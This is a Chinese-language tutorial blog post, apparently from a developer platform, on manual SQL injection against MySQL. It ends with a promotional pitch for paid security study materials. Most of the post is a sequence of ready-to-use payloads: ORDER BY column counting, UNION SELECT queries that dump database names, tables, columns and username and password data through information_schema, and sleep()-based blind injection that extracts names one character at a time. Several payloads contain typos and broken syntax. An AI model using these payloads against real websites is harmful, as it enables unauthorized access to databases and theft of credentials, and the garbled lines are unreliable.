sql注入详解

ps:简单说下这里只写了我能理解的明白的,后面的二阶注入,堆叠注入没写

手工sql注入
1.存在sql注入本质上就是数据库过滤的不严格或者未进行过滤,1 and 1=1,返回正常,1 and 1=2 返回不正常,说明带到数据库里面去查询给语句了,这时候就可以判断存在sql注入了,再来判断注入类型,如果1 and 1=1  /  1 and 1=2 返回都正常说明直接给你过滤了或者说没带到数据库里面去查询,说明不存在sql注入。
当然这里说的示一阶注入,大多数网站都是来判断一阶注入,也有二阶注入。
当然现在不用老方法来判断了,现在可以用数字型(整形):id=1/1    1/0    id=2-1   id=2-2
                                                                                字符型:id=1’     id=1’’

2.判断数据库有多少列,这里可以用order by语句  例:id=1 order by 3     (正常)
                                                                               id=1 order by 4     (正常)
                                                                               id=1 order by 5     (报错)
说明他的数据库就4列,5就报错了,4就是他的临界值也就是最大值
3.知道了他的数据库有多少列之后现在来判断注入点 可以用 union select语句 例:id=-1 union select 1,2,3,4 --+       (这里简单说下1前面的符号是为了直接执行union select 后面的语句 ,–+是为了过滤也就是注释掉 limit 0,1这个语句,可以用#也是注释的意思)。
4.知道了那一列有注入点之后来爆数据库的相关信息,比如数据库名啊,数据库版本号啊,数据库用户啊,表名,列明,字段名字,以及操作系统。
例:id=-1 union select 1,version(),database(),4这就能够知道他的数据库版本信息,以及数据库名,在用注入点来爆数据库的表名,列名,字段名,操作系统版本等。
5.当然这里注意一下如果是mysql5.0以上版本的加了一个information_schema这是高版本自带的数据库,以及information_schema.tables自带系统表,informations_schema.columns自带系统字段,表名table_name,字段名column_name,table_name,库名table_schema
6.那么mysql高版本查询表名 例:id=-1 union select 1,2,group_concat(table_name),4 from informations_schema.tables where table_schema=database()            #(database=数据库名)
7.查询列名:id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name=‘123’
8.查询列名中的数据 例:id=-1 union select group_concat(username),group_concat('~'password) from 123
9.那么5.0以下查询数据 例:id=-1 union select 1,2,字段名,4 from 表名

10.延时注入例:id=1 and sleep(5) --+     #就是延迟五秒
实例:username=1 and sleep(2) --+&password=123
来爆数据库长度:username=1 and sleep(if((length(database())=10),1,2)) --+&password=123
sleep(2)延迟两秒,if(判断条件是否成立成立就返回1,不成立返回2) ,length(判断数据库长度是否为10)
11.爆表名的第一位是否是q:
username=1 and sleep (if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1)=‘c’),1,2)) --+&password=123(就是把爆database是什么的语句换成那个了查询表名的语句)。
12.接下来爆字段名:
username=1 and sleep(if(mid((select column_name from information_schema.columns where table_name=‘qwert’ and table_schema=database() limit 0,1),1,1)=‘y’,1,2)) --+&password=123
13.爆数据名第一位:
username=1 and sleep(if(mid(()select username from cab limit+0,1),1,1)=‘o’,1,2)) --+&password=123

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

  • 19
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值